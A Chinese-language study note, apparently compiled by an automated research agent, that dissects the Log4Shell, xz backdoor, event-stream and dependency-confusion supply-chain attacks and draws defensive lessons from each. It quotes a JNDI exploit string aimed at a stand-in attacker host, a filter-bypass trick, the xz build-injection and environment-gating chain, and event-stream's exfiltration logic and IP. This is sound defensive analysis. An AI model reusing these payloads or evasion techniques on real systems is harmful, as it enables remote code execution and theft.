题记与说明
- 笔记日期:2026-11-01
- 类型:主题研究(多来源在线精读,共 9 个来源,检索与抓取均于本日实际完成,非凭记忆写作)
- 主线:四种典型供应链攻击路径的逐跳拆解 + 每条路径对应的防御教训
- 关联条目:同知识库2026-10-31-knowledge-p5j2vm4l-3-软件供应链安全入门-SBOM-SLSA-Sigstore-依赖漏洞响应精读.md是"防御框架"视角;本笔记补上"事件复盘"视角,两者互补。
来源清单(全部为本次实际抓取精读)
| # | 来源 | 事件/主题 | 抓取方式 |
|---|---|---|---|
| 1 | Rapid7 — CVE-2021-44228 Log4Shell Analysis | Log4Shell 技术分析 | WebFetch(首试带日期路径 404,改用短链接成功) |
| 2 | CISA 联合公告 AA21-356a — Mitigating Log4Shell | Log4Shell 官方缓解指南 | webReader 全文 |
| 3 | Andres Freund — oss-security 原始披露 | xz 后门发现报告 | WebFetch |
| 4 | The New Stack — Unzipping the XZ Backdoor | xz 社会工程与开源教训 | WebFetch |
| 5 | Lasse Collin — XZ Utils backdoor 事实页 | xz 事件当事维护者陈述 | WebFetch 403 后改 webReader 成功 |
| 6 | GitHub — event-stream issue #116 | event-stream 原始披露帖 | WebFetch |
| 7 | Ender's Blog — NodeJS: Event-Stream Backdoor Analysis | event-stream 逆向分析 | WebFetch |
| 8 | Snyk — The rising trend of malicious packages | 依赖投毒规模数据 | WebFetch |
| 9 | Alex Birsan — Dependency Confusion | 依赖混淆攻击研究 | WebFetch 超时后改 webReader 成功 |
辅助检索(WebSearch):xz 时间线汇总、Shai-Hulud npm 蠕虫、slopsquatting 等背景。
0. 总框架:四种入口,一条共同的信任链
供应链攻击的本质是:你信任的某一环,不是你以为的那个东西。四个事件恰好覆盖了信任链的四个不同断点:
| 断点 | 事件 | 一句话概括 |
|---|---|---|
| 库自身功能被滥用 | Log4Shell (2021) | 日志库的"变量替换"特性把日志字符串变成了 RCE 触发器 |
| 维护者权限被长期渗透接管 | xz backdoor (2024) | 攻击者用两年半社交工程当上 co-maintainer,在发布 tarball 里埋后门 |
| 维护权随手移交 + 定向投毒 | event-stream (2018) | 疲惫的作者把包送给陌生人,陌生人在依赖里藏了只对 Copay 钱包引爆的载荷 |
| 注册表层面的名字投毒 | 依赖投毒 (常态) | typosquatting / dependency confusion / install-script 恶意包,规模化收割 |
以下按事件逐个拆解攻击路径与防御教训,第七节做七维提取,第六节横向对比。
1. Log4Shell(CVE-2021-44228):一行日志导致的全网 RCE
1.1 攻击路径(逐跳)
- 入口:任何会被 Log4j 记录的攻击者可控字符串——HTTP 头(User-Agent、Accept-Language)、Cookie、URL 参数、表单输入、邮件地址、用户名。
- 触发:字符串中含
${jndi:ldap://attacker.com/a},Log4j 的 message lookup substitution 机制把它当作待解析的表达式。 - 外联:Log4j 发起 JNDI 查询,连到攻击者控制的 LDAP/RMI 端点。
- 执行:恶意端点返回对象引用,经
org.apache.naming.factory.BeanFactory与javax.el.ELProcessor链执行攻击者代码,权限为服务进程用户。
Rapid7 原文对机制的表述(保留原文):
"Untrusted strings (e.g. those coming from input text fields, such as web application search boxes) containing content like ${jndi:ldap://example.com/a} would trigger a remote class load, message lookup, and execution of the associated content if message lookup substitution was enabled."
成功利用意味着"a remote, unauthenticated attacker to take full control of a vulnerable target system"——无需任何凭证。
利用条件与版本边界:
- 受影响:Log4j 2.0-beta9 ~ 2.14.1(message lookup 开启时);
- JDK 门槛:Rapid7 指出 "JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector"(
trustURLCodebase默认关闭),Java 8u121 起默认阻断 RMI 向量——所以高版本 JDK 不是免死金牌,只是少了一条向量; - 绕过花招:
${::-/}替换可绕过对连续/的过滤(Tomcat 会把//折叠成/)。
受影响产品实测清单(Rapid7 验证):Apache Struts("Basically all Struts implementations should be trivially exploitable by a remote and unauthenticated attacker.")、VMware vCenter/Horizon、Apache James(SMTP/POP3)、Solr、Druid、JSPWiki、OFBiz、Ubiquiti UniFi (<6.5.54)。Horizon 还有个反直觉发现:*"in our testing, we found that the vulnerable code is invoked no matter the user configured log level"*——调低日志级别不能救命。
1.2 时间线与影响面
- CISA 公告记载:利用活动 "began on or around December 1, 2021",公开披露 2021-12-10,PoC 公开可用;后续又连环爆出 CVE-2021-45046(12-13,非默认配置下仍可 RCE/DoS)与 CVE-2021-45105(12-16,Context Lookup 递归查找致 StackOverflowError)——一个 CVE 背后是一个补丁追赶周。
- FBI 观测到利用用于部署 cryptomining 与 botnet 恶意软件,并评估 sophisticated threat actor 会将其纳入既有攻击体系。
- CISA 对严重性的定性:*"Log4Shell is especially critical because it allows malicious actors to remotely run code on vulnerable networks and take full control of systems."* 根因是 Java 无处不在、利用极简单、缓解极耗资源。
1.3 防御教训(CISA AA21-356a 官方动作清单 + Rapid7 技术缓解)
- 资产盘点优先于补丁:CISA 第一步就是 "Inventory all assets that make use of the Log4j Java library"——而 Log4j 常以传递依赖形式藏在你不知道的组件里。这正是 SBOM(软件物料清单)存在意义的实证:没有清单,你就不知道该给谁打补丁。
- 补丁路径:升级至 2.17.0(Java 8)/ 2.12.3(Java 7);临时缓解按版本分流——2.10+ 设
log4j2.formatMsgNoLookups=true;2.0-beta9~2.10 直接删类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class。CISA 明确警告 workaround "should not be considered permanent fixes"。 - 假定已沦陷(Assume Compromise):CISA 原话 "Treat known and suspected vulnerable assets as compromised"——先隔离(拔线/jail VLAN/防火墙)再取证。还有个阴险细节:攻击者会替你打补丁以独占控制权,所以要记录每个资产的补丁时间戳,发现"你没动过却变干净了"的资产就是入侵信号。
- 出口阻断切断利用链:JNDI 利用必须外联取 payload,CISA 给出三条出口规则——阻断/白名单出站 LDAP、出站 RMI、非企业 DNS 解析器的直连出站 DNS。egress filtering 是少数不依赖"知道哪个资产有漏洞"也能生效的缓解。
- 别迷信单一检测:CISA 提醒 "there are many ways to obfuscate the exploit string. Do not depend on one detection method to work all the time.";Rapid7 给出的可靠取证痕迹是 JNDI 栈回溯("Error looking up JNDI resource")而非 WAF 规则。
- IP 封禁在这个事件里是低价值动作:研究者与厂商扫描洪流导致误报率极高,CISA 建议把精力放在"成功利用的迹象"而非"扫描痕迹"。
2. xz backdoor(CVE-2024-3094):一场三年的人性渗透 + 构建注入
2.1 攻击路径(两条链交织)
人的信任链(社交工程)——The New Stack 与多方时间线:
- 2021 年:账号 "Jia Tan"(此前用 JiaT75)在 libarchive 提交一个"可疑 PR"试水;
- 2022 年:趁原作者 Lasse Collin "dealing with personal issues",Jia Tan 被加为 xz 项目 co-maintainer;
- 2023 年:后门组件以"无害测试文件""修 CI 的补丁"形式逐块合入;
- 2024-02:含后门的 5.6.0 / 5.6.1 发布 tarball 由 Jia Tan 制作并签名发布,随后通过压力与话术推动发行版尽快采纳。
代码注入链(Andres Freund 的 oss-security 报告,技术细节以他的一手分析为准):
- 只在 tarball 里、不在 git 里:
m4/build-to-host.m4第 63 行藏着一段混淆脚本,在configure末尾运行,篡改src/liblzma/Makefile,把tests/files/bad-3-corrupt_lzma2.xz与good-large_compressed.lzma(提交 cf44e4b7 加入)用xz -d管道喂给/bin/bash——看 git 历史永远看不见它,必须审计 release tarball; - IFUNC 劫持:注入代码替换
crc32_resolve()/crc64_resolve(),IFUNC resolver 在进程极早期执行,天然先于安全机制; - 环境门控(反分析):仅在 x86-64 Linux-gnu + gcc + GNU ld + Debian/RPM 构建物中激活;运行时要求
argv[0] == /usr/sbin/sshd、无LD_DEBUG/LD_PROFILE、LANG已设、检测到 rr/debugger 则退出——CI 和沙箱里它是 inert 的; - GOT 重写:sshd 以
-Wl,-z,now链接,符号提前解析;后门安装 audit hook,等RSA_public_decrypt解析完成、RELRO 只读生效之前改写其 GOT 表项;公钥登录时ssh_rsa_verify实际调进后门,Freund 判断其在 pre-auth 阶段运行,"enables unauthorized access or remote code execution"。
2.2 发现过程:性能回归即入侵检测
Freund 起因只是 Debian sid 上几周的"怪症状"——SSH 登录 CPU 异常、valgrind 报错。量化证据:失败登录耗时从 ~0.299s 涨到 ~0.807s(后门在启动期解析内存符号表)。他的结论原文:
"The upstream xz repository and the xz tarballs have been backdoored."
调查手段值得记录:用 perf record -e intel_pt//ub 对比后门激活/未激活的执行流分叉,再在分叉点下 gdb 断点;Florian Weimer 把注入对象单独提取为 liblzma_la-crc64-fast.o;用 env -i LANG=en_US.UTF-8 /usr/sbin/sshd -D 复现。由于提交者本人显然知情("either directly involved or there was some quite severe compromise of their system"),他没有走上游 issue,而是报告 Debian security → distros@ → CISA(Red Hat 分配 CVE)。
2.3 影响面与当事维护者的事实陈述
Lasse Collin 的事实页(一手来源)确认:
- "XZ Utils 5.6.0 and 5.6.1 release tarballs contain a backdoor. These tarballs were created and signed by Jia Tan."
- GitHub 同时封禁了 Collin 与 Jia Tan 的账号(Collin 的 2024-04-02 恢复)——平台应急机制的误伤;
- 仓库不 rebase:"It was decided that the Git repository will not be rebased."——保留恶意提交做取证与完整性,而不是抹掉历史;
- 2024-05-29 发布干净版本 5.6.2 并发布 "XZ Utils review notes v1.0"。
受影响发行版(The New Stack 汇总):Fedora 40 / Rawhide、Kali、openSUSE Tumbleweed & MicroOS、Arch;Debian 仅 testing 波及、stable 幸免;Ubuntu 与 Amazon Linux 未受影响。距离进入所有主流发行版稳定版只差几周——CVSS 10.0 的名义分值低估了它的潜在杀伤力。
2.4 防御教训
- 单点维护者 = 系统性风险:The New Stack 定性:"outlines the underlying risks in open source libraries that have a single maintainer who's overwhelmed and under constant pressure." 防御视角:对 bus factor=1 的关键依赖提高审查等级(XZ Utils 恰好进了 OpenSSF 计划名单,但资助没到位)。
- tarball ≠ git:发布工件可能包含仓库里不存在的构建期逻辑。可复现构建(reproducible builds)+ 对 release tarball 与 git 构建产物做 diff,是能抓住
build-to-host.m4这类注入的手段;SLSA 的"构建来源可验证"正是冲这个缺口。 - 新维护者的权限应分级与观察:xz 事件中 Jia Tan 从 contributor 到有签名权的 co-maintainer 用了约两年——攻击者愿意花 900 天,说明"看 git log 前几页"式的信任评估完全失效。关键库应要求 release 签名双人复核。
- 性能/延迟回归监控是意外的入侵检测器:这次救场的是 Freund 对 0.5 秒延迟的较真。对 sshd、编译器、压缩库这类基础件的性能基线监控,值得当作安全信号源。
- 开源资助不是道德问题,是安全问题:The New Stack 的结论是把企业捐赠转向"让员工在工作时间贡献上游"+ 基金会托管(Linux Foundation/Apache)治理,并把 xz 事件称为 "another wake-up call to the entire open source industry"。
- Freund 的收尾建议朴素得可信:"I'd upgrade any potentially vulnerable system ASAP."
3. event-stream(2018):一次移交所引爆的定向投放
3.1 攻击路径(逐跳)
- 维护权移交:原作者 Dominic Tarr 维护疲惫,2018 年把 npm 发布权交给陌生账号 right9ctrl。他在 issue #116 的原话(保留原文):
"he emailed me and said he wanted to maintain the module, so I gave it to him. I don't get any thing from maintaining this module, and I don't even use it anymore, and havn't for years."
- 投毒:right9ctrl 给 event-stream@3.3.6 加入新依赖
flatmap-stream(一个创建仅三个月、近乎零下载的包)。 - 载体:载荷以 hex 编码数组藏在
flatmap-stream/test/data.js,加载器拼接在混淆的index.js末尾——Ender 的评论:"was using code obfuscation to blind 2 millions download-ers." - 目标识别:加载器读
process.env.npm_package_description,只有当其等于 Copay 的描述串 "A Secure Bitcoin Wallet" 时才继续——这串描述同时是 AES-256 解密密钥,即"环境即钥匙",其他任何项目里解密都失败。 - 执行:解密出的代码经动态构造的 module 编译执行,整体包 try/catch 静默失败。
- 窃取:读取 Copay 钱包 profile(cordova 文件系统 / localStorage / chrome.storage.local)与
balanceCache;按币种与余额做阈值过滤(Ender 引用的判断式:"btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3,满足则窃取凭证,否则只上报 xPubKey——两个来源对"哪条分支做什么"的解读有出入,见 §7 局限);monkey-patchbitcore-wallet-client的getKeys,在私钥被访问时同步外传。 - 外传:RSA 公钥加密、200 字节分块、HTTP POST 到 8080 端口,目标为 hex 解码出的
copayapi.host与111.90.151.134(社区 whois 指认为马来西亚主机商)。
3.2 发现与处置
- 2018-11-20,用户 FallingSnow 在 issue #116 发帖"I don't know what to say."点破:"the target seems to have been identified as copay related libraries. It only executes successfully when a matching package is in use."
- 处置:npm 下架恶意版本(建议钉住 event-stream@3.3.4),11-28 仓库归档;受影响需升级 Copay 至 5.0.2+。
- 社区最扎心的定性来自 jaydenseric(874 赞 vs Tarr 首帖 578 踩):
"There is a huge difference between not maintaining a repo/package, vs giving it away to a hacker (which actually takes more effort than doing nothing)."
- 还有一条平台级批评(devtingz):npm 在所有权变更时没有任何告警,也不会检测混淆载荷——生态基础设施把验证责任全压给了下游。
3.3 防御教训
- 环境条件触发 = 沙箱盲区:载荷只在 Copay 构建环境里解密成功,通用沙箱与静态扫描全盲。对策不是"更聪明的扫描器",而是缩减意外代码的进入渠道:锁定依赖(lockfile + 完整性校验)、禁止新增未经审核的依赖、CI 中审计
npm ls的依赖树漂移。 - 弃养包是活的雷区:每周 200 万下载的包停止维护后仍被注入。防御上要把"维护者活跃度"当成依赖选择的一等指标(OpenSSF Scorecard 有 maintained 维度),对转为 unmaintained 的包主动迁移。
- 维护权变更需要流程:issue #116 里 limonte 的讽刺——"Transfer publishing rights to the unknown dude, but keep the repo under your username. Well done, mate 👍"——揭示移交时没有身份验证、没有公告、没有冷却期。组织内部应有自己的规则:关键依赖的所有权变更触发重新评审。
- install/发布产物完整性:event-stream 攻击发生在"发布"环节,与 xz 的"tarball"环节、Shai-Hulud 蠕虫的"install script"环节同构——sigstore/签名验证(见关联条目 p5j2vm4l-3)针对的就是这类环节。
4. 依赖投毒的规模化:typosquatting、dependency confusion、install-script
4.1 规模数据(Snyk)
- "In 2024, Snyk identified over 3,600 malicious packages, with npm (3,000+) and PyPI (600+) as the primary targets.";2025 年(至发文)又新增 1,000+,JavaScript 仍是最重灾区。
- 增速:2021 年全年仅 82 个 impactful 恶意包,2022–2023 合计 9,900+,+11,973%。
- 单战役规模:Checkmarx 2022-12 发现 144,000+ typosquatted 恶意包在 NuGet/npm/PyPI 推钓鱼链接;更早的 npm 战役 17,000+,PyPI 战役 1,130+。
- 无交互型威胁:2023 年以来 681 个包仅下载安装即触发——如 npm 的
django-yauth用preinstall脚本把主机名、用户名、当前目录 POST 到攻击者端点;同一上传者批量发布qb2-core、yandex-meteo-flow等同款。 - 检索补充的新形态:Shai-Hulud npm 蠕虫(自传播式供应链恶意软件,变种波及 42 个 TanStack 包)、slopsquatting(抢注 AI 幻觉出来的包名)——说明投毒正从"人犯手滑"进化到"自动化 + AI 供应链"。
4.2 Dependency Confusion(Birsan, 2021-02):机制与实测结果
攻击原理一句话:包管理器在"内部源"与"公共源"同时有同名包时,取版本号更高的那个。pip 的 --extra-index-url 是"insecure by design"——先查内部源、再查 PyPI、装版本号更高的:
"If the package exists on both, it defaults to installing from the source with the higher version number."
因此向 PyPI 上传 library 9000.0.0 即可劫持内部依赖。Birsan 的实测:
- 目标发现:内部包名最集中的泄露地是公开 JS bundle 里的
package.json残留(Apple、Yelp、Tesla 均中);再自动化扫描数百万域名提取数百个未注册名; - 隐蔽外传:载荷只收集 username/hostname/path,走 DNS exfiltration(hex 编码进 DNS 查询),"确保流量更不容易被拦截或检测";
- 战果:"squatting valid internal package names was a nearly sure-fire method to get into the networks of some of the biggest tech companies out there, gaining remote code execution"——35+ 组织中招,npm 占约 75% 回调;Shopify(Ruby gem
shopify-cloud上传数小时即被构建系统安装执行,$30,000 赏金)、Apple(Apple ID 相关认证机器执行,$30,000)、PayPal($30,000)、Microsoft(Office 365,Azure 顶格 $40,000);Netflix、Yelp、Uber 亦在列; - 根因还包括 JFrog Artifactory "virtual repo" 用同样的"高版本优先"算法且当时无法改默认行为——企业自建的"安全内网源"可能本身就是漏洞。
4.3 防御教训(依赖投毒通则)
- 名字是攻击面:安装前精确核对包名(typosquatting)、为内部包名提前注册公共占位(dependency confusion 的标准解)、CI 固定
--index-url不用--extra-index-url。 - 版本规则:对"异常高的版本号"保持警觉(Snyk 建议把它当可疑信号),私有包用语义上不可能被外部赢过的版本策略。
- install script 是第一落点:
preinstall/postinstall钩子在包管理器信任下直接执行任意代码;CI 中禁用或白名单化(如npm install --ignore-scripts+ 显式放行)。 - 审查深度优先给"新引入":锁文件里每次新增依赖都是一次信任决策,代码评审应覆盖 lockfile diff。
- 用整体数据定防御优先级:npm ≫ PyPI 的受害分布(Snyk 3,000+ vs 600+;Birsan 回调 75% 来自 npm)意味着 JS 团队应最先补齐依赖治理。
5. 横向对比:四条攻击路径的同一张表
| 维度 | Log4Shell | xz backdoor | event-stream | 依赖投毒(常态) |
|---|---|---|---|---|
| 攻击者入口 | 应用日志管道(任意 logged 字符串) | 上游项目维护权(人) | 包维护权移交(人)+ 依赖声明 | 注册表命名空间 / install 钩子 |
| 破坏的信任 | "日志库只写不执行"的直觉 | 维护者身份与代码评审 | "老牌包=安全"的信任 | "装个包而已"的默认信任 |
| 埋伏期 | 无需埋伏(特性即漏洞),利用始于披露前(约 2021-12-01) | ~2.5 年(2021 试水 → 2024-02 引爆) | 数月(2018 中接管 → 11 月披露) | 常态化,分钟级(Birsan 包上传数小时即被执行) |
| 触发条件 | 被日志的攻击者输入 | sshd 启动 + 精确环境门控 | npm_package_description 匹配 Copay | 安装动作本身 / 版本解析规则 |
| 载荷技术 | JNDI → LDAP/RMI → BeanFactory RCE | IFUNC resolver + GOT 重写 RSA_public_decrypt | AES-256(环境串为钥) + 动态编译 + RSA 加密外传 | DNS 外传 / 钓鱼 / 凭证窃取 |
| 检测方式 | JNDI 栈回溯、egress 告警 | sshd 延迟 0.299→0.807s + intel_pt 追踪 | 社区人工逆向 hex 混淆 | 恶意包数据库、扫描 |
| 影响面 | 全网 Java 服务(无数产品) | 差几周进入所有主流发行版稳定版 | Copay 钱包用户(定向) | 全生态开发者与 CI(无差别+定向混合) |
| 核心修复 | 升级 2.17.0 / 删 JndiLookup / egress 阻断 | 降级至 5.5.x → 干净版 5.6.2;仓库保留证据不 rebase | 钉住 3.3.4;npm 下架 | 名字校验 / 私有源策略 / ignore-scripts |
| 最深教训 | 没有资产清单就无法打补丁 | tarball ≠ git;单点维护者是风险 | 环境触发使沙箱全盲 | 包管理器版本解析规则本身可被武器化 |
贯穿性规律:四条路径里,两条靠"人"(xz、event-stream),一条靠"功能被滥用"(Log4Shell),一条靠"解析规则"(dependency confusion)。技术防御(扫描、签名、SBOM)只能覆盖后两类;前两类只能靠治理——权限分级、双人复核、资助与减负、所有权变更流程。防御预算应按这个比例分配,而不是全押在扫描器上。
6. 七维提取
6.1 核心问题
现代软件默认信任"从注册表拉下来的任何代码",攻击者只需要在信任链的任一环(库功能、维护者、移交过程、命名空间)插入一次恶意代码,就能随依赖图自动扩散到全部下游。这四个事件回答的是:信任链具体在哪断、怎么断、断了之后如何被尽早发现与阻断。
6.2 主要主张
- 供应链攻击的最大攻击面是"人"而非"代码":xz 与 event-stream 都是先攻破维护权,再让正常的构建/发布机制替攻击者分发恶意代码;
- 经典漏洞也能成为供应链事件:Log4Shell 证明一个被传递依赖普遍捆绑的库出 RCE 时,"漏洞响应"立刻退化为"资产清单问题";
- 环境条件化与构建期注入是当前最难的检测问题(xz 的环境门控、event-stream 的"描述串即密钥"都让沙箱失效);
- 依赖投毒已从个例演变为工业规模(恶意包数量两年增长两个数量级),且攻击正向自动化(蠕虫)与 AI 时代(slopsquatting)延伸。
6.3 方法
本笔记采用事件复盘法(case study):对每个事件先重建逐跳攻击路径(kill chain),再从一手来源(Freund 的 oss-security 报告、Collin 的事实页、issue #116 原帖)与一手技术分析(Rapid7、Ender)提取机制细节,最后横向对比四条路径的共性与差异,推导防御教训。取证上区分了"官方公告(CISA)""技术复现(Rapid7)""当事人陈述(Collin/Tarr)""研究者自述(Birsan)"四种证据等级。
6.4 数据与证据
- Log4Shell:CVSSv3 10.0;2.0-beta9~2.14.1 受影响;利用始于 2021-12-01 前后;Rapid7 实测 9 类产品可被利用;JDK 版本边界(6u211/7u201/8u191/11.0.1)有明确数值。
- xz:CVE-2024-3094;5.6.0/5.6.1 tarball 含后门且由 Jia Tan 签名(Collin 事实页确认);失败登录延迟 0.299s→0.807s(Freund 实测);5 个发行版确认波及;恶意提交号(cf44e4b7、e5faaebbc、72d2933bf、82ecc5381、6e636819e)。
- event-stream:每周 ~200 万下载;flatmap-stream@0.1.1 为恶意版本(issue #116);AES-256 密钥为 Copay 描述串(Ender 逆向);外传至 copayapi.host 与 111.90.151.134:8080。
- 依赖投毒:Snyk 2024 年 3,600+(npm 3,000+/PyPI 600+);2021 年 82 个 vs 2022-23 年 9,900+(+11,973%);Checkmarx 144,000+ typosquat 包;Birsan 实测 35+ 组织 RCE、单案赏金 $30k–$40k。
证据总体充分:每个技术断言都有一手来源支撑;两个次级矛盾点(flatmap-stream 版本号、余额阈值的分支解读)已在 §7 中如实标注而非强行统一。
6.5 结论
- 四个事件分别对应信任链的四个断点,防御必须同时覆盖"技术断点"(SBOM/签名/可复现构建/egress 过滤)与"人性断点"(维护者资助、权限分级、所有权变更流程、assume-compromise 演练);
- 检测上最有效的两个非常规信号:性能/延迟回归(xz 被一个对 0.5s 敏感的人抓住)与出口流量异常(Log4Shell 的 JNDI 外联、Birsan 的 DNS 外传都依赖外呼);
- 修复上"假设已沦陷"应成为默认姿态(CISA 对 Log4Shell 资产的处理方式),而"保留证据不抹历史"(xz 仓库不 rebase)是事件响应的成熟做法。
6.6 局限
- 来源内部的矛盾未完全消解:event-stream 恶意版本号——issue #116 说 flatmap-stream@0.1.1,Ender 博客说 0.1.2;余额阈值逻辑——Ender 引用的代码是
balance < 100 (BTC) || balance < 1e3 (BCH)时窃取凭证、否则上报 xPubKey,而 issue #116 转述 fraggle222 的解读是"BTC ≥ 100 或 BCH ≥ 1000 才触发"。两者共享同一段比较代码但对分支归属解读相反,本笔记两说并存、以 Ender 的代码原文为准但不做裁决。 - xz 的归因仍开放:没有任何来源确认 Jia Tan 背后的主体;Freund 仅表述提交者"either directly involved or there was some quite severe compromise of their system"。
- 覆盖偏英语技术圈一手来源:未纳入 Sonatype《State of Software Supply Chain》年度报告全文与学术测量研究(如 Backstabber's Knife Collection 原论文,仅在 Birsan 引用中出现),依赖投毒的"总量"估计在不同机构间口径不一。
- 时效性:Snyk 数据止于 2025 年发文时点;检索摘要提到的 Shai-Hulud 蠕虫与 slopsquatting 仅有搜索摘要级证据,未做一手精读,引用时已标注。
- Log4Shell 的长期危害统计(如多年后仍被利用的量化数据)未在本轮来源中取得,仅 CISA 2021 年时点判断。
6.7 对我的启发
- 把 lockfile diff 纳入 code review:event-stream 与依赖投毒的共同入口是"一次新增依赖"——我自己的项目(uv/pnpm 工作流,见 fexxiou8-2/3 笔记)应该把"为什么新增这个包"变成 review 必答题,并开
--ignore-scripts类选项。 - 给自己的 CI 补两条廉价检测:出口流量白名单(切断 Log4Shell/Birsan 型外呼)与关键工具的性能基线(xz 型后门靠 0.5s 延迟现形)——两者都不需要购买任何产品。
- tarball 与 git 的 diff 检查:今后审计上游发布时,默认假定"release 工件 ≠ 仓库内容",对关键依赖用可复现构建或 at-least-diff 构建脚本。
- 个人开源维护者的自我保护:Tarr 的疲惫与 Collin 的 burnout 是同一种风险——拒绝把发布权"送人",改用 archived + 明确 successor 的流程;这也解释了为什么资助维护者(Collin 在事件后开了 Liberapay)是安全投资而非慈善。
- 写作角度:xz 事件是"人性攻击 + 技术攻击"双线叙事的绝佳案例,Log4Shell 是"资产清单决定响应速度"的最佳案例——如果写供应链安全文章,这两个案例分别承担"为什么治理重要"和"为什么 SBOM 重要"的论据位。
- 与既有条目衔接:p5j2vm4l-3(SBOM/SLSA/Sigstore)给出了防御框架的"应该做什么",本笔记补充了"为什么非做不可"的四个反例,两者合并即可构成一篇完整的供应链安全讲稿。
7. 原文引述汇编(便于后续引用)
- Rapid7(Log4Shell 机制):"Untrusted strings (e.g. those coming from input text fields, such as web application search boxes) containing content like ${jndi:ldap://example.com/a} would trigger a remote class load, message lookup, and execution of the associated content if message lookup substitution was enabled."
- Rapid7(Struts):"Basically all Struts implementations should be trivially exploitable by a remote and unauthenticated attacker."
- Rapid7(预警):"We expect attacks to continue and increase: Defenders should invoke emergency mitigation processes as quickly as possible."
- CISA AA21-356a(处置原则):"Treat known and suspected vulnerable assets as compromised. These assets should be isolated until they are mitigated and verified."
- CISA AA21-356a(检测原则):"Be aware that there are many ways to obfuscate the exploit string. Do not depend on one detection method to work all the time."
- CISA AA21-356a(时间线):"exploitation of Log4Shell began on or around December 1, 2021, and a proof-of-concept exploit is publicly available."
- Freund(结论):"The upstream xz repository and the xz tarballs have been backdoored."
- Freund(建议):"I'd upgrade any potentially vulnerable system ASAP."
- Freund(归因谨慎):"either directly involved or there was some quite severe compromise of their system"
- The New Stack(开源结构性风险):"outlines the underlying risks in open source libraries that have a single maintainer who's overwhelmed and under constant pressure."
- Collin(事实):"XZ Utils 5.6.0 and 5.6.1 release tarballs contain a backdoor. These tarballs were created and signed by Jia Tan."
- Collin(取证决定):"It was decided that the Git repository will not be rebased."
- Tarr(移交自辩):"he emailed me and said he wanted to maintain the module, so I gave it to him. I don't get any thing from maintaining this module, and I don't even use it anymore, and havn't for years."
- FallingSnow(目标识别):"the target seems to have been identified as copay related libraries. It only executes successfully when a matching package is in use."
- Ender(混淆的意义):"was using code obfuscation to blind 2 millions download-ers."
- Snyk(规模):"In 2024, Snyk identified over 3,600 malicious packages, with npm (3,000+) and PyPI (600+) as the primary targets."
- Snyk(增速):82(2021)→ 9,900+(2022–2023),"an increase of 11,973% in comparison to 2021"。
- Birsan(结论):"squatting valid internal package names was a nearly sure-fire method to get into the networks of some of the biggest tech companies out there, gaining remote code execution, and possibly allowing attackers to add backdoors during builds."
- Birsan(根因):"If the package exists on both, it defaults to installing from the source with the higher version number."
*笔记由精读员·#4 于 2026-11-01 生成;全部来源当日在线抓取。本笔记未修改 matrix.csv、backlog、nightly-log.md 及其他条目。*